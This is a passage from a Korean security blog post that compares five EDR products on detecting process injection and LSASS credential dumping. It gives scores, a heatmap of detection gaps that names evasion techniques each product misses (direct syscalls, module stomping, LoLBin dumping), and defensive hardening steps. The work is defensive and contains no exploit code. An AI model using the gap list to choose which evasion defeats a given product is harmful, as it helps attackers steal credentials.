&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Dumpert&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;LSASS 클로닝&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SilentProcessExit&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;createdump.exe&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.9 T1003 &amp;mdash; 예방적 방어 기능 비교&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;예방 기능&lt;/th&gt;
&lt;th&gt;Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;LSASS PPL 보호&lt;/td&gt;
&lt;td&gt;✓ (기본 활성화 Win11)&lt;/td&gt;
&lt;td&gt;✓ (호환)&lt;/td&gt;
&lt;td&gt;✓ (호환)&lt;/td&gt;
&lt;td&gt;△ (OS 의존)&lt;/td&gt;
&lt;td&gt;✓ (호환)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Guard (VBS)&lt;/td&gt;
&lt;td&gt;✓ (네이티브)&lt;/td&gt;
&lt;td&gt;✓ (호환)&lt;/td&gt;
&lt;td&gt;✓ (호환)&lt;/td&gt;
&lt;td&gt;△ (OS 의존)&lt;/td&gt;
&lt;td&gt;✓ (호환)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASR 규칙 (LSASS 보호)&lt;/td&gt;
&lt;td&gt;✓ (전용 규칙)&lt;/td&gt;
&lt;td&gt;N/A (자체 IOA)&lt;/td&gt;
&lt;td&gt;N/A (자체 AI)&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;N/A (자체 HIPS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LSASS 접근 차단&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;td&gt;△&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DCSync 네트워크 탐지&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;td&gt;✓ (Identity)&lt;/td&gt;
&lt;td&gt;✓ (Ranger)&lt;/td&gt;
&lt;td&gt;✓ (이벤트 룰)&lt;/td&gt;
&lt;td&gt;✓ (네트워크)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자동 롤백&lt;/td&gt;
&lt;td&gt;△&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;td&gt;✓ ActiveEDR&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;gherkin&quot;&gt;&lt;code&gt;자격증명 덤핑 탐지 시점 타임라인:

시간축 &amp;rarr;  도구 실행  &amp;rarr;  LSASS 접근  &amp;rarr;  메모리 읽기  &amp;rarr;  덤프 파일 생성  &amp;rarr;  자격증명 추출
              |            |              |               |                |
Defender:  [ASR 차단] &amp;larr;── 접근 전 차단 (PPL + ASR 활성 시)
CrowdStrike:  [ML]     [커널 차단]   
SentinelOne: [정적AI]  [행위 차단]    
Elastic:      |           |              |               |           [이벤트 룰 알림]
Kaspersky: [시그니처]  [HIPS 차단]   &lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.10 종합 점수 비교 (10점 만점)&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;평가 영역&lt;/th&gt;
&lt;th&gt;Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1055 정적 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1055 동적 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1055 휴리스틱&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1055 종합&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;8.3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;9.3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;8.0&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;4.7&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;7.3&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1003 정적 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1003 동적 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1003 휴리스틱&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1003 예방&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;T1003 종합&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;9.3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;9.3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;8.5&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;4.5&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;7.8&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;전체 종합&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;8.8&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;9.3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;8.3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;4.6&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;7.6&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;레이더 차트:

CrowdStrike:  정적 9.0 | 동적 10.0 | 휴리스틱 9.0 | 자동대응 9.0
Defender:     정적 8.5 | 동적 8.5  | 휴리스틱 9.0 | 자동대응 8.0
SentinelOne:  정적 8.5 | 동적 8.5  | 휴리스틱 8.0 | 자동대응 9.5
Kaspersky:    정적 8.5 | 동적 7.5  | 휴리스틱 7.0 | 자동대응 7.0
Elastic:      정적 5.5 | 동적 5.0  | 휴리스틱 4.0 | 자동대응 3.0&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.11 의외의 발견들&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CrowdStrike가 유일하게 탐지한 것들:&lt;/b&gt; 직접 시스콜 인젝션, 프로세스 고스팅, 콜백 기반 실행. 커널 드라이버 기반 아키텍처가 유저랜드 후킹의 한계를 넘어섰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Defender의 숨겨진 강점:&lt;/b&gt; Credential Guard + PPL + ASR의 조합은 자격증명 덤핑에 대해 &lt;b&gt;예방적 방어 최강&lt;/b&gt;이다. LSASS 접근 자체를 원천 차단한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SentinelOne의 차별점:&lt;/b&gt; &quot;Storyline&quot; 기술이 인젝션 &amp;rarr; C2 통신 &amp;rarr; 횡이동을 하나의 공격 체인으로 연결한다. 개별 이벤트가 아닌 &lt;b&gt;공격 스토리&lt;/b&gt;로 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Elastic의 딜레마:&lt;/b&gt; 무료이고 커스터마이징이 자유롭지만, 기본 구성에서는 &lt;b&gt;실시간 차단이 없다&lt;/b&gt;. 탐지는 하되 사후 알림이다. 전문 보안 인력이 있는 조직에서만 효과적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모든 제품이 놓친 것:&lt;/b&gt; 모듈 스톰핑(Module Stomping) &amp;mdash; 정상 DLL의 코드 섹션을 셸코드로 덮어쓰는 기법. 메모리가 디스크 파일에 &quot;백킹&quot;되어 있어 비백킹 메모리 스캔을 우회한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 탐지 공백 영역 식별&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7.1 T1055 프로세스 인젝션 &amp;mdash; 제품 간 공통 탐지 공백&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;공백 영역&lt;/th&gt;
&lt;th&gt;우회 기법&lt;/th&gt;
&lt;th&gt;영향받는 제품&lt;/th&gt;
&lt;th&gt;위험도&lt;/th&gt;
&lt;th&gt;보완 방안&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;직접 시스콜&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;SysWhispers, HellsGate, HalosGate&lt;/td&gt;
&lt;td&gt;유저랜드 후킹 의존 제품 전체&lt;/td&gt;
&lt;td&gt;&lt;b&gt;크리티컬&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;ETW Threat Intel Provider + 커널 콜백&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;모듈 스톰핑&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;정상 DLL .text 섹션 덮어쓰기&lt;/td&gt;
&lt;td&gt;비백킹 메모리 스캔 의존 제품&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;디스크-메모리 불일치 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;콜백 기반 실행&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;EnumWindows, Timer 콜백&lt;/td&gt;
&lt;td&gt;CreateRemoteThread 모니터링 전용 제품&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;광범위 콜백 API 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;프로세스 고스팅&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;파일 삭제 후 섹션 매핑&lt;/td&gt;
&lt;td&gt;파일 기반 스캔 의존 제품&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;NtCreateSection 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;파이버 기반 실행&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;CreateFiber/ConvertThreadToFiber&lt;/td&gt;
&lt;td&gt;스레드 생성 모니터링 전용 제품&lt;/td&gt;
&lt;td&gt;&lt;b&gt;중간&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;파이버 API 모니터링 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7.2 T1003 자격증명 덤핑 &amp;mdash; 제품 간 공통 탐지 공백&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;공백 영역&lt;/th&gt;
&lt;th&gt;우회 기법&lt;/th&gt;
&lt;th&gt;영향받는 제품&lt;/th&gt;
&lt;th&gt;위험도&lt;/th&gt;
&lt;th&gt;보완 방안&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;LSASS 클로닝&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;PssCaptureSnapshot&lt;/td&gt;
&lt;td&gt;원본 LSASS만 모니터링하는 제품&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;스냅샷 API 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SilentProcessExit 악용&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;WerFault.exe 이용 LSASS 덤프&lt;/td&gt;
&lt;td&gt;정상 프로세스(WerFault) 허용 제품&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;SilentProcessExit 레지스트리 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;LoLBin 악용&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;createdump.exe, rdrleakdiag.exe, tttracer.exe&lt;/td&gt;
&lt;td&gt;서명된 MS 도구 허용 제품&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;LoLBin 대상 행위 룰 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;커널 드라이버 기반&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;커널 드라이버로 LSASS 직접 읽기&lt;/td&gt;
&lt;td&gt;PPL 미적용 환경&lt;/td&gt;
&lt;td&gt;&lt;b&gt;크리티컬&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;HVCI + DSE + PPL 활성화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7.3 제품별 고유 공백&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;제품&lt;/th&gt;
&lt;th&gt;고유 공백&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;보완 방안&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Elastic Security&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;실시간 차단 부재 (기본 구성)&lt;/td&gt;
&lt;td&gt;룰 기반 사후 탐지 아키텍처&lt;/td&gt;
&lt;td&gt;Elastic Defend 에이전트 + 예방 정책 활성화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Elastic Security&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;커널 수준 가시성 제한&lt;/td&gt;
&lt;td&gt;에이전트 의존도 낮음&lt;/td&gt;
&lt;td&gt;전용 EDR 보완&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Defender&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;모듈 스톰핑 탐지 제한&lt;/td&gt;
&lt;td&gt;ETW 기반이나 백킹 검증 부족&lt;/td&gt;
&lt;td&gt;타사 EDR 보완&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SentinelOne&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;직접 시스콜 일부 미탐지&lt;/td&gt;
&lt;td&gt;유저랜드 후킹 의존 영역 존재&lt;/td&gt;
&lt;td&gt;커널 텔레메트리 강화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Kaspersky&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;고급 인메모리 기법 일부&lt;/td&gt;
&lt;td&gt;BSS 패턴 업데이트 의존&lt;/td&gt;
&lt;td&gt;행위 패턴 DB 주기적 업데이트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7.4 탐지 공백 히트맵&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;공격 기법 vs 제품 탐지 공백 (○ = 공백 존재, &amp;middot; = 공백 없음)

                         Defender  CrowdStrike  SentinelOne  Elastic  Kaspersky
──────────────────────────────────────────────────────────────────────────────
직접 시스콜 인젝션          ○          &amp;middot;            ○          ○         ○
모듈 스톰핑                 ○          ○            ○          ○         ○
프로세스 고스팅              ○          &amp;middot;            ○          ○         ○
콜백 기반 실행              ○          &amp;middot;            ○          ○         ○
파이버 기반 실행            ○          ○            ○          ○         ○
LSASS 클로닝               ○          &amp;middot;            &amp;middot;          ○         ○
SilentProcessExit 악용     ○          ○            ○          ○         ○
LoLBin 크레덴셜 덤프        ○          &amp;middot;            ○          ○         ○
──────────────────────────────────────────────────────────────────────────────
공백 개수                   7          2            6          8         7

CrowdStrike: 가장 적은 공백 (2개)
Elastic:     가장 많은 공백 (8개)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7.5 탐지 공백 심각도 매트릭스&lt;/h3&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;                     Defender  CrowdStrike  SentinelOne  Elastic  Kaspersky
직접 시스콜            ◐          ●            ◐          ○         ◐
모듈 스톰핑            ○          ◐            ○          ○         ○
프로세스 고스팅         ◐          ●            ◐          ○         ◐
LSASS 클로닝           ◐          ●            ●          ○         ◐
LoLBin 자격증명 덤핑    ◐          ●            ●          △         ◐
DCSync 네트워크 탐지    ●          ●            ●          ◐         ●

● = 탐지 가능  ◐ = 부분 탐지  △ = 구성 필요  ○ = 미탐지 가능&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Part 4: 결론 및 권고&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 방어 권고사항&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8.1 지금 당장 할 수 있는 3가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. LSASS PPL 활성화&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;reg add &quot;HKLM\SYSTEM\CurrentControlSet\Control\Lsa&quot; /v RunAsPPL /t REG_DWORD /d 1 /f&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것 하나로 미서명 프로세스의 LSASS 접근을 원천 차단한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. Sysmon 배포 + LSASS 접근 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sysmon Event ID 10이 자격증명 덤핑 탐지의 &quot;최우선 단일 탐지 포인트&quot;다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;Sysmon schemaversion=&quot;4.90&quot;&amp;gt;
  &amp;lt;EventFiltering&amp;gt;
    &amp;lt;ProcessAccess onmatch=&quot;include&quot;&amp;gt;
      &amp;lt;TargetImage condition=&quot;is&quot;&amp;gt;C:\Windows\system32\lsass.exe&amp;lt;/TargetImage&amp;gt;
    &amp;lt;/ProcessAccess&amp;gt;
    &amp;lt;CreateRemoteThread onmatch=&quot;exclude&quot;&amp;gt;
      &amp;lt;SourceImage condition=&quot;is&quot;&amp;gt;C:\Windows\system32\svchost.exe&amp;lt;/SourceImage&amp;gt;
    &amp;lt;/CreateRemoteThread&amp;gt;
  &amp;lt;/EventFiltering&amp;gt;
&amp;lt;/Sysmon&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. ASR 규칙 활성화 (Defender 사용 시)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;Defender ASR 규칙 활성화:
- &quot;Block credential stealing from LSASS&quot; (GUID: 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2)
- &quot;Block process creations from PSExec and WMI&quot; (GUID: d1e49aac-8f56-4280-b9ba-993a6d77406c)
- &quot;Block Win32 API calls from Office macros&quot; (GUID: 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8.2 탐지 엔지니어링 권고&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;우선순위&lt;/th&gt;
&lt;th&gt;탐지 규칙&lt;/th&gt;
&lt;th&gt;대상 기법&lt;/th&gt;
&lt;th&gt;구현 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P0&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;LSASS 접근 모니터링&lt;/td&gt;
&lt;td&gt;T1003.001&lt;/td&gt;
&lt;td&gt;Sysmon Event ID 10 + SIEM 규칙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P0&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;DCSync 탐지&lt;/td&gt;
&lt;td&gt;T1003.006&lt;/td&gt;
&lt;td&gt;Event ID 4662 GUID 필터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P1&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;원격 스레드 생성 모니터링&lt;/td&gt;
&lt;td&gt;T1055.001~004&lt;/td&gt;
&lt;td&gt;Sysmon Event ID 8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P1&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;비백킹 실행 메모리 스캔&lt;/td&gt;
&lt;td&gt;T1055 전체&lt;/td&gt;
&lt;td&gt;EDR 메모리 스캔 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P1&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;SAM/SECURITY 레지스트리 접근&lt;/td&gt;
&lt;td&gt;T1003.002, .004&lt;/td&gt;
&lt;td&gt;레지스트리 감사 정책&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P2&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;CREATE_SUSPENDED 프로세스 체인&lt;/td&gt;
&lt;td&gt;T1055.012&lt;/td&gt;
&lt;td&gt;프로세스 생성 이벤트 상관 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P2&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;LoLBin 비정상 사용&lt;/td&gt;
&lt;td&gt;T1003&lt;/td&gt;
&lt;td&gt;명령줄 인수 분석 규칙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;직접 시스콜 바이트 패턴&lt;/td&gt;
&lt;td&gt;T1055 (우회)&lt;/td&gt;
&lt;td&gt;YARA 메모리 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8.3 심층 방어 아키텍처&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│              Layer 5: 하드웨어 기반 보호            │
│    UEFI Secure Boot, HVCI, VBS, Credential Guard   │
├─────────────────────────────────────────────────┤
│              Layer 4: 커널 수준 탐지               │
│    ETW Threat Intel, 커널 콜백, 드라이버 검증       │
├─────────────────────────────────────────────────┤
│              Layer 3: 동적/행위 탐지               │
│    API 모니터링, 메모리 스캔, 프로세스 관계 분석     │
├─────────────────────────────────────────────────┤
│              Layer 2: 정적 분석                    │
│    시그니처, YARA, IAT 분석, 엔트로피 분석         │
├─────────────────────────────────────────────────┤
│              Layer 1: 휴리스틱/평판                 │
│    클라우드 평판, 디지털 서명, 파일 경로 분석        │
└─────────────────────────────────────────────────┘

공격자가 Layer 1~2를 우회하는 것은 비교적 쉽다.
Layer 3을 우회하는 것은 어렵다.
Layer 4~5를 우회하려면 커널 수준 익스플로잇이 필요하다.
&amp;rarr; 공격의 비용과 복잡도를 극적으로 높인다.&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;9. 결론&lt;/h2&gt;
